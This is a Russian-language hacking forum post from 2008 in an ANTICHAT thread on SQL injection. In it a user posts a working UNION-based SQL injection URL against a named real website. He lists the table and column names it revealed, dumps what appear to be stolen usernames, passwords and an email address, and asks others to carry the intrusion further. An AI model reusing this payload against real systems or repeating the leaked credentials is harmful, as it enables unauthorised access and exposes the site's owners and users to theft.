Форум АНТИЧАТ - SQL Инъекции

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#10

11.04.2008, 03:09

~~Велемир~~

Banned

Регистрация: 19.06.2006

Сообщений: 1,239

Провел на форуме:
1469161

Репутация: 142

Отправить сообщение для Велемир с помощью ICQ

http://www.downtowncrossing.org/shop/shop.php?id=-1+union+select+1,aes_decrypt(aes_encrypt(usr,0x71) ,0x71),3,4+from+ssp_usrs+limit+1,1--

Table: ssp_usrs
Columns: pwd,id,email,usr

login: dca
password: brigley1969

login: kcrawford
email: downtowncrossing.org
password: 52fc3a

table: admin
column: user_id, username, password

login: dca2
password: kate

login: dca1
password: dertg1

ПИЗДЕЦ......нет слов. ни один пасс не подходит. Есть ещё таблица ssp_account с полем account_id, но мя канкретно зае это уже). Без энкрипта лучше не пробывать, выдаёт ашиппку,хоть и не везде =___= (реагирует на поля pwd и usr).

P.S. У кого дальше получится напишите в лс,или выложите тут. ОЧень интересно

Последний раз редактировалось Велемир; 11.04.2008 в 12:29..